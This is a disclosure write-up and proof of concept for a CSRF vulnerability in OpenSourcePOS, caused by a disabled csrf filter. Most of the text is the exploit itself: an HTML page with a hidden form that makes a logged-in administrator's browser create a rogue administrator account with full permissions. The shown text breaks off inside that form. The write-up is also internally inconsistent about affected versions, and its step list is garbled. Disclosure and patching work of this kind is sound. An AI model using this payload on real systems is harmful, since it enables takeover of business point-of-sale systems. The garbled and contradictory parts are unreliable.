
PoC & Write-up for CVE-2025-68434: Critical CSRF in OpenSourcePOS. Exploits a disabled filter configuration to allow unauthenticated attackers to silently create rogue Administrator accounts, leading to full system takeover. Validated on versions < 3.4.0.
| Metadata | Details |
|---|---|
| CVE ID | CVE-2025-68434 |
| Severity | Critical (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Vulnerability Type | Cross-Site Request Forgery (CWE-352) |
| Affected Versions | OpenSourcePOS v3.4.0, v3.4.1 |
| Patched Version | v3.4.2 |
| Vulnerable Component | app/Config/Filters.php (Global Security Filters) |
| Reporter | Aditya Singh (Nixon-H) |
A Critical Cross-Site Request Forgery (CSRF) vulnerability was discovered in the core security configuration of OpenSourcePOS. The application's global CSRF protection mechanism was explicitly disabled within the app/Config/Filters.php file due to a temporary development "TODO" that was never resolved.
This misconfiguration allowed the application to accept state-changing HTTP requests (POST) without verifying a valid anti-forgery token. An unauthenticated, remote attacker could exploit this by tricking a logged-in Administrator into visiting a malicious page. The attacker's page would then silently force the victim's browser to execute administrative actions; specifically, creating a new "Backdoor" Administrator account with full privileges; leading to a complete system takeover.
The vulnerability was located in the Global Filters configuration (app/Config/Filters.php). In CodeIgniter 4, the $globals array determines which filters run on every request.
In the affected versions, the csrf filter was commented out in the before execution list, effectively disabling CSRF protection for the entire application.
Vulnerable Code (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
Because this line was commented out, the middleware responsible for checking csrf_token_name never executed. The application accepted any POST request from any origin, relying solely on the session cookie (ospos_session) for authentication.
csrf_exploit.html file on an external server.valid_12345) is created instantly.POC/csrf_exploit.html)This is the exact payload used to create a rogue Administrator with full permissions:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">